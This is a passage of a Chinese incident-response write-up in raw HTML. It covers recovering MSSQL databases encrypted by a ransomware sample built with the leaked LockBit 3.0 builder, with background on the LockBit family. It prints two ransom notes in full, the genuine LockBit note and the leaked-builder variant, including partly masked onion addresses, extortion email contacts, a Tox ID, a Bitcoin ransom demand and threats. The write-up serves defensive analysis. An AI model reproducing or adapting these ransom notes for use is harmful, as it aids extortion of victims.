2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">1.2 处理结果</span><span style="display: none;"></span></h2><p style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">在前期排查过程中，我们成功提取到了该加密器样本，并对其进行了深入分析。根据客户的反馈，其受感染数据对于业务运营至关重要，而服务器环境和业务系统则可以重新配置后再导入数据。基于这一实际情况，我们将工作重点明确为优先恢复数据，确保客户关键业务尽快恢复正常，同时为后续环境重建和系统优化做好技术支持准备。</p><p style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">在提取被加密的MSSQL数据库文件后，我们发现受影响的MSSQL数据库文件仅有头部被加密，这为数据恢复提供了可能性。在与客户协商后，我们决定提取所有被加密的数据库文件，集中进行恢复操作。同时，客户配合重置业务环境并重新搭建系统框架，以确保恢复后的数据能无缝导入新环境。整个流程旨在最大限度地缩短业务中断时间，恢复完成后将直接导入数据，确保业务快速回归正常运行。我们的计划不仅提高了数据恢复效率，还为客户节约了宝贵的运营时间。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010248" data-ratio="0.7833333333333333" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=02a8a292&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakoRWFtykkunCAOX1UrV1icQMykQa40BfVzNMcRDicEBXvYMkzlKcg359w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><p style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">最终，我们成功交付了恢复后的数据库文件，客户在验证后确认，恢复的数据库文件完整无误，可正常导入且未发现数据缺漏，各项功能均可正常使用。后续，文章将简要讲解本次数据库恢复的技术细节、入侵全流程的溯源分析，以及所采取的加固措施，旨在为其他遇到类似情况的公司提供有价值的参考与借鉴。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010249" data-ratio="1.3514588859416445" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;width: 332px;height: 449px;" data-type="png" data-w="754" src="https://wechat2rss.xlab.app/img-proxy/?k=012bd95b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakEAVA9LgTMyAQZ0TYS10n2r9VsgucBgky1cMHNmvnC5Srd8OcQxdcicA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">1.3 lockbit家族介绍</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">LockBit 3.0（也称为 LockBit Black）是LockBit 勒索软件的新变种。前身LockBit最早出现在2019年，安全研究人员一度将其称为ABCD（因为早期变种将加密文件的扩展名改为.abcd）。2021年，发布Lockbit2.0版本，也称Lockbit RED，加入了双重勒索攻击、删除磁盘卷影和日志文件等新功能。同时还内置了一款名为StealBit的数据窃取木马，该木马是为了支持LockBit Raas附属机构从受害者公司快速窃取敏感数据。被加密后的文件以.lockbit结尾，留下文档Restore-My-Files.txt。2022年，Lockbit3.0发布，又名LockBit Black，成为全球规模最大的勒索软件变种，且在2023年、2024年继续肆虐。</section><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">1.4 lockbit构建器泄露</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: left;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">在 2022 年 9 月，Twitter 用户 3xp0rtblog 宣布该勒索软件的构建器已被 ali_qushji 泄露，可以从 GitHub 上下载。</section><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">&#34;招募合作伙伴&#34;：是指LockBit勒索软件运营者主动寻找和吸纳其他人或组织作为合作伙伴或下属，共同参与勒索软件攻击活动。</section><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">针对lockbit构建器泄露的分析文章可参考<a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247484119&amp;idx=1&amp;sn=b3b542dbaef7bbb5bd014ed848d69d7a&amp;scene=21#wechat_redirect" textvalue="Lockbit 3.0勒索病毒加密程序分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">Lockbit 3.0勒索病毒加密程序分析</a></section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010251" data-ratio="0.8756302521008403" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="595" src="https://wechat2rss.xlab.app/img-proxy/?k=07d8d9da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakmBcDHS63bRgSFyew1M01cbxe2ULT2iaqPoQCjNCwgA4NE0zjFSP2Cfg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;text-align: center;"><span style="font-size: 14px;color: rgb(178, 178, 178);">LockBit 3.0 Builder 在 Twitter 上泄露</span></section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010250" data-ratio="0.35444579780755175" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="821" src="https://wechat2rss.xlab.app/img-proxy/?k=229de1b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakq4sOVGH8SSPKIibfVZxtOicqFHFS7VKCodTa6V6gEGveehRoQyylSWGg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><p style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;text-align: center;"><span style="font-size: 14px;color: rgb(178, 178, 178);">LockBit 3.0 构建器</span></p><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">1.5 家族特征</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">通过对本次捕获的加密器样本和勒索信内容的分析，我们发现其与正版 LockBit 3.0 家族存在明显差异：首先，勒索信的语言以中文版为主，缺少 LockBit 3.0 常见的多语言支持；其次，勒索信中未标注家族名称，暗网地址不具备 LockBit 家族的典型特征且目前无法访问；此外，信中额外提供了 TOX 和邮箱等多种联系方式，但对比 LockBit 3.0 官方暗网中的 TOX ID，发现其并不一致。综合这些差异，我们初步判断这是一个基于 LockBit 3.0 加密器泄露版本的构造样本，非正版家族攻击行为。</section><h3 data-tool="mdnice编辑器" style="border-color: rgb(33, 33, 34) rgb(0, 0, 0) rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid none none;border-width: 1px 1px 2px;border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(89, 89, 89);border-color: rgb(89, 89, 89) rgb(0, 0, 0) rgb(0, 0, 0);line-height: 1.8em;letter-spacing: 0em;padding-top: 4px;padding-left: 6px;padding-right: 6px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid none none;border-width: 2px 1px 1px;border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">1.5.1 勒索信对比</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010252" data-ratio="0.3074074074074074" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cc219027&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakBIfky7ctpJ1ibsFaP1aIiaIEiaY4iapaPMKjWw1zHuzqvhVDPab2QCXFNg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;"><strong style="background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">原始勒索信内容</strong></section><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/lpHDr05YrISCFNADlEnicj8Tg73Pia6UFK7dxeDtVWzbJXib65wiaMtGOnKGDZHJVwchg3gujm9XodKUW3u2VHtLPW4k7FgZsoW4/640?wx_fmt=svg&amp;from=appmsg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;">~~ LockBit 3.0 the world&#39;s fastest and most stable ransomware from 2019~~~<br/>&gt;&gt;&gt;&gt;&gt; Your data is stolen and encrypted.<br/>BLOG Tor Browser Links:<br/><a href="http://lockbitxxxxxxiocyo5epmpy6klmejchjtzddoekjlnt6mu3qhxxxxxx.onion/" target="_blank">http://lockbitxxxxxxiocyo5epmpy6klmejchjtzddoekjlnt6mu3qhxxxxxx.onion/</a><br/><a href="http://lockbitxxxxxx3katajf6zaehxz4h4cnhmz5t735zpltywhwpcxxxxxx.onion/" target="_blank">http://lockbitxxxxxx3katajf6zaehxz4h4cnhmz5t735zpltywhwpcxxxxxx.onion/</a><br/><a href="http://lockbitxxxxxxetlc4tl5zydnoluphh7fvdt5oa6arcp2757r7xxxxxx.onion/" target="_blank">http://lockbitxxxxxxetlc4tl5zydnoluphh7fvdt5oa6arcp2757r7xxxxxx.onion/</a><br/><a href="http://lockbitxxxxxxki62yun7z5nhwz6jyjdp2c64j5vge536if2exxxxxx.onion/" target="_blank">http://lockbitxxxxxxki62yun7z5nhwz6jyjdp2c64j5vge536if2exxxxxx.onion/</a><br/><a href="http://lockbitxxxxxxuquhoka3t4spqym2m3dhe66d6lr337glmnlggxxxxxx.onion/" target="_blank">http://lockbitxxxxxxuquhoka3t4spqym2m3dhe66d6lr337glmnlggxxxxxx.onion/</a><br/><a href="http://lockbitxxxxxxuo3qafoksvl742vieqbujxw7rd6ofzdtapjb4rxxxxxx.onion/" target="_blank">http://lockbitxxxxxxuo3qafoksvl742vieqbujxw7rd6ofzdtapjb4rxxxxxx.onion/</a><br/><a href="http://lockbitxxxxxxdgtojeoj5hvu6bljqtghitekwpdy3b6y62ixtxxxxxx.onion/" target="_blank">http://lockbitxxxxxxdgtojeoj5hvu6bljqtghitekwpdy3b6y62ixtxxxxxx.onion/</a><br/>&gt;&gt;&gt;&gt;&gt; What guarantee is there that we won&#39;t cheat you? <br/>We are the oldest ransomware affiliate program on the planet, nothing is more important than our reputation. We are not a politically motivated group and we want nothing more than money. If you pay, we will fulfill all the terms we agree on during the negotiation process. Treat this situation simply as a paid training session for your system administrators, because it was the misconfiguration of your corporate network that allowed us to attack you. Our pentesting services should be paid for the same way you pay your system administrators salaries. You can get more information about us on Ilon Musk&#39;s Twitter <a href="https://twitter.com/hashtag/lockbit?f=live" target="_blank">https://twitter.com/hashtag/lockbit?f=live</a><br/> <br/>&gt;&gt;&gt;&gt;&gt; You need to contact us on TOR darknet sites <span style="color: #c678dd;line-height: 26px;">with</span> your personal <span style="color: #c678dd;line-height: 26px;">ID</span><br/>Download <span style="color: #c678dd;line-height: 26px;">and</span> <span style="color: #c678dd;line-height: 26px;">install</span> Tor Browser <a href="https://www.torproject.org/" target="_blank">https://www.torproject.org/</a><br/>Write <span style="color: #c678dd;line-height: 26px;">to</span> the chat room <span style="color: #c678dd;line-height: 26px;">and</span> <span style="color: #c678dd;line-height: 26px;">wait</span> <span style="color: #c678dd;line-height: 26px;">for</span> an answer, we<span style="color: #98c379;line-height: 26px;">&#39;ll guarantee a response from us. If you need a unique ID for correspondence with us that no one will know about, ask it in the chat, we will generate a secret chat for you and give you his ID via private one-time memos service, no one can find out this ID but you. Sometimes you will have to wait some time for our reply, this is because we have a lot of work and we attack hundreds of companies around the world.<br/>Tor Browser personal link for CHAT available only to you (available during a ddos attack): <br/><a href="http://lockbit74beza5z3e3so7qmjnvlgoemscp7wtp33xo7xv7f7xtlqbkqd.onion" target="_blank">http://lockbit74beza5z3e3so7qmjnvlgoemscp7wtp33xo7xv7f7xtlqbkqd.onion</a><br/>Tor Browser Links for CHAT (sometimes unavailable due to ddos attacks):<br/><a href="http://lockbit5eevg7vec4vwwtzxxxxxxap6oxbic2ye4mnmlq6njnpc47qd.onion" target="_blank">http://lockbit5eevg7vec4vwwtzxxxxxxap6oxbic2ye4mnmlq6njnpc47qd.onion</a><br/><a href="http://lockbit74beza5z3e3so7xxxxxxmscp7wtp33xo7xv7f7xtlqbkqd.onion" target="_blank">http://lockbit74beza5z3e3so7xxxxxxmscp7wtp33xo7xv7f7xtlqbkqd.onion</a><br/><a href="http://lockbit75naln4yj44rg6exxxxxx7up4kxmmmuvilcg4ak3zihxid.onion" target="_blank">http://lockbit75naln4yj44rg6exxxxxx7up4kxmmmuvilcg4ak3zihxid.onion</a><br/><a href="http://lockbit7a2g6ve7etbcy6iyixxxxxxeffz4szgmxaawcbfauluavi5jqd.onion" target="_blank">http://lockbit7a2g6ve7etbcy6iyixxxxxxeffz4szgmxaawcbfauluavi5jqd.onion</a><br/><a href="http://lockbitaa46gwjck2xzmxxxxxx4x3aqn6ez7yntitero2k7ae6yoyd.onion" target="_blank">http://lockbitaa46gwjck2xzmxxxxxx4x3aqn6ez7yntitero2k7ae6yoyd.onion</a><br/><a href="http://lockbitb42tkml3ipianjxxxxxxhcshb7oxm2stubfvdzn3y2yqgbad.onion" target="_blank">http://lockbitb42tkml3ipianjxxxxxxhcshb7oxm2stubfvdzn3y2yqgbad.onion</a><br/><a href="http://lockbitcuo23q7qrymbk6dxxxxxxtspjvjxgcyp4elbnbr6tcnwq7qd.onion" target="_blank">http://lockbitcuo23q7qrymbk6dxxxxxxtspjvjxgcyp4elbnbr6tcnwq7qd.onion</a><br/>&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br/>&gt;&gt; Your personal Black ID:  &lt;&lt;<br/>&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br/>&gt;&gt;&gt;&gt;&gt; Warning! Do not delete or modify encrypted files, it will lead to problems with decryption of files!<br/>&gt;&gt;&gt;&gt;&gt; Don&#39;</span>t <span style="color: #c678dd;line-height: 26px;">go</span> <span style="color: #c678dd;line-height: 26px;">to</span> the police <span style="color: #c678dd;line-height: 26px;">or</span> the FBI <span style="color: #c678dd;line-height: 26px;">for</span> <span style="color: #c678dd;line-height: 26px;">help</span> <span style="color: #c678dd;line-height: 26px;">and</span> don<span style="color: #98c379;line-height: 26px;">&#39;t tell anyone that we attacked you. <br/></span></code></pre><section style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;"><strong style="background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">泄露版勒索信内容</strong></section><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/lpHDr05YrISCFNADlEnicj8Tg73Pia6UFK7dxeDtVWzbJXib65wiaMtGOnKGDZHJVwchg3gujm9XodKUW3u2VHtLPW4k7FgZsoW4/640?wx_fmt=svg&amp;from=appmsg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;">&gt;&gt;&gt;&gt; 我們是一個駭客組織，您的資料已被竊取並且加密，<br/>為了不擴大損失，您要立即聯絡我們，或寻找资料复原公司联系我们。<br/>不要啰嗦，我们很忙，我們的加密軟體，網路上無法解密!<br/>您需要支付價值人民幣五十萬約等於1BTC 給我們幫您解密被加密檔案。<br/>&gt;&gt;&gt;&gt; 您需要聯絡我們並使用您的個人解密 ID 傳送一個被加密文件給我們，免費幫您解密一個文件<br/>&gt;&gt;&gt;&gt; 發送ID和一個加密檔案到：d6616151321813261@onionmail.org<br/>&gt;&gt;&gt;&gt; 備用信箱：2189321765132@cock.li<br/>&gt;&gt;&gt;&gt; 您的個人解密 ID：<br/>Tox ID:XXXXXX5C6149FC57090DAC622184327326457BCDF5D6C45528083DBBE21A6EC927CFC1F8BD<br/>TOR網站可以看到您洩漏的秘密：http://<span style="color: rgb(171, 178, 191);font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;letter-spacing: normal;text-align: left;white-space-collapse: preserve;background-color: rgb(40, 44, 52);">xxxx</span><span style="color: rgb(171, 178, 191);font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;letter-spacing: normal;text-align: left;white-space-collapse: preserve;background-color: rgb(40, 44, 52);">x</span>bcqrbkutyrh77nptes44pqzldj5rk5mxnv46mmrapesp565bsyd.onion/<br/>                          <a href="http://xxxxxjug4b5uhndzelsf7vgrxygttutc6h5mqzpwp7y6blk6owhxliqd.onion" target="_blank">http://xxxxxjug4b5uhndzelsf7vgrxygttutc6h5mqzpwp7y6blk6owhxliqd.onion</a><br/>您可以透過：幣安/火幣，歐易等虛擬貨幣交易所購買比特幣支付，這是一個很方便的過程！<br/>寫信聊天並等待答复，我們將始終答复您。<br/>有時您需要等待我們的答复，因為我們攻擊許多公司。<br/>&gt;&gt;&gt;&gt; 警告！ 不要刪除或修改任何文件，這可能會導致恢復問題！<br/>&gt;&gt;&gt;&gt; 警告！ 如果您不支付贖金，我們將再次多次攻擊您的公司！<br/></code></pre><h3 data-tool="mdnice编辑器" style="border-color: rgb(33, 33, 34) rgb(0, 0, 0) rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid none none;border-width: 1px 1px 2px;border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(89, 89, 89);border-color: rgb(89, 89, 89) rgb(0, 0, 0) rgb(0, 0, 0);line-height: 1.8em;letter-spacing: 0em;padding-top: 4px;padding-left: 6px;padding-right: 6px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid none none;border-width: 2px 1px 1px;border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">1.5.2 暗网地址对比</span><span style="display: none;"></span></h3><section style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;"><strong style="background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">原始暗网地址</strong></section><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/lpHDr05YrISCFNADlEnicj8Tg73Pia6UFK7dxeDtVWzbJXib65wiaMtGOnKGDZHJVwchg3gujm9XodKUW3u2VHtLPW4k7FgZsoW4/640?wx_fmt=svg&amp;from=appmsg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><a href="http://lockbitxxxxxxcyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2id.onion/" target="_blank">http://lockbitxxxxxxcyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2id.onion/</a><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010253" data-ratio="0.4861111111111111" style="display: block;margin-right: auto;margin-left: auto;border-style: 